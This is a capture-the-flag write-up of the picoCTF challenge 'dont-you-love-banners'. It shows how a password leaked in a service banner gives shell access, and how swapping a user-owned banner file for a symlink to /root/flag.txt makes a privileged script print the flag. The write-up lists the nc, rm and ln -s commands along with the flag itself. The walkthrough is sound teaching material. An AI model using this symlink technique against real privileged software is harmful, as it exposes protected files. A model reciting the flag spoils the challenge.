Post cover image

September 20, 2026

CyLab Security Acadmey — dont-you-love-banners

Category: General Skills

By Aun Raza

3 min read

Difficulty: Medium

Author: Loic Shema / syreal

Flag: picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}

Challenge Overview

In dont-you-love-banners, we are given two different network services.

The challenge description tells us that one server is leaking important information:

tethys.picoctf.net 58411

We are then instructed to use that information to access another service:

tethys.picoctf.net 52045

The main clue is:

"Can you abuse the banner?"

There are also two useful hints:

  • "Do you know about symlinks?"
  • "Maybe some small password cracking or guessing"

The goal is to abuse the application's banner mechanism and ultimately read the flag from /root/flag.txt.

1. Finding the Leaked Information

We first connect to the information-leaking service:

nc tethys.picoctf.net 58411

The server responds with:

SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

The important part is:

My_Passw@rd_@1234

This appears to be the password required by the other service.

The SSH-2.0-OpenSSH_7.6p1 portion is simply the SSH server banner, while the additional text after it exposes the password.

2. Connecting to the Main Application

The challenge tells us to connect to port 52045:

nc tethys.picoctf.net 52045

The application displays:

*************************************
**************WELCOME****************
*************************************
what is the password?

We provide the leaked password:

My_Passw@rd_@1234

The application then asks another question:

What is the top cyber security conference in the world?

The expected answer is:

Defcon

It then asks:

the first hacker ever was known for phreaking(making free phone calls), who was it?

A valid answer is:

john

After answering the questions correctly, we receive a shell:

player@challenge:~$

3. Enumerating the Environment

Once inside the shell, we inspect the current directory:

ls

The output contains:

banner
text

We inspect the files and their permissions:

ls -al

The important entries are:

-rw-r--r-- 1 player player  114 Feb  7  2024 banner
-rw-r--r-- 1 root   root     13 Feb  7  2024 text

The banner file is owned by our player account, meaning we can modify or replace it.

We also inspect text:

cat text

which gives:

keep digging

The challenge specifically mentions abusing the banner, so we need to understand how the application uses this file.

4. Inspecting the Application

We discover that /root/script.py is readable:

cat /root/script.py

The important part of the source code is:

try:
    with open("/home/player/banner", "r") as f:
        print(f.read())
except:
    print("*********************************************")
    print("***************DEFAULT BANNER****************")
    print("*Please supply banner in /home/player/banner*")
    print("*********************************************")

This is the critical vulnerability.

The application running with elevated privileges opens:

/home/player/banner

and prints its contents.

However, we control /home/player/banner.

That means we can potentially replace it with a symbolic link (symlink) pointing to a file that we normally cannot read.

5. Identifying the Target

We inspect /root:

ls -al /root

Among the files we find:

-rwx------ 1 root root 46 Mar 12 2024 flag.txt

The permissions are:

-rwx------

Only root can access the file.

Trying to read it directly as player would not work.

However, the application's banner-reading code runs with the privileges needed to read /root/flag.txt.

This gives us the opportunity to redirect the banner to the flag using a symlink.

First, we remove the existing banner:

rm /home/player/banner

Now we create a symbolic link with the same filename:

ln -s /root/flag.txt /home/player/banner

We can think of the resulting filesystem structure as:

/home/player/banner
        |
        v
/root/flag.txt

The application still thinks it is opening:

/home/player/banner

but the operating system follows the symlink and actually opens:

/root/flag.txt

Because the application has the necessary privileges, it can read the contents of the root-owned flag.

7. Triggering the Banner Read

We reconnect to the application:

nc tethys.picoctf.net 52045

When the program starts, it executes:

with open("/home/player/banner", "r") as f:
    print(f.read())

Since /home/player/banner now points to /root/flag.txt, the contents of the flag are printed as the banner.

The server returns:

picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}

8. Why the Exploit Works

The core vulnerability is unsafe use of a user-controlled file path by a privileged process.

The application trusts:

/home/player/banner

without checking whether it is a normal file or a symbolic link.

Since the player user controls that path, we can replace the banner with a symlink pointing somewhere else.

The privileged application then follows the symlink and reads the target file.

The attack can be summarized as:

Leaked service
     ↓
Obtain password
     ↓
Connect to application
     ↓
Answer authentication questions
     ↓
Inspect application source
     ↓
Discover privileged read of /home/player/banner
     ↓
Replace banner with symlink
     ↓
/home/player/banner → /root/flag.txt
     ↓
Privileged application reads banner
     ↓
Flag revealed

9. Final Solution

The important commands used during the solve were:

nc tethys.picoctf.net 58411

Obtain:

My_Passw@rd_@1234

Then connect to:

nc tethys.picoctf.net 52045

After obtaining access to the shell, replace the banner:

rm /home/player/banner
ln -s /root/flag.txt /home/player/banner

Reconnect:

nc tethys.picoctf.net 52045

The flag is then displayed:

picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_f7608541}

Key Takeaway

This challenge demonstrates two useful concepts:

  1. Information leakage through service banners — the first service exposed a password directly in its connection banner.
  2. Symlink abuse — a privileged program trusted a user-controlled path, allowing us to redirect its file read from /home/player/banner to /root/flag.txt.

The combination of these two weaknesses leads to the flag.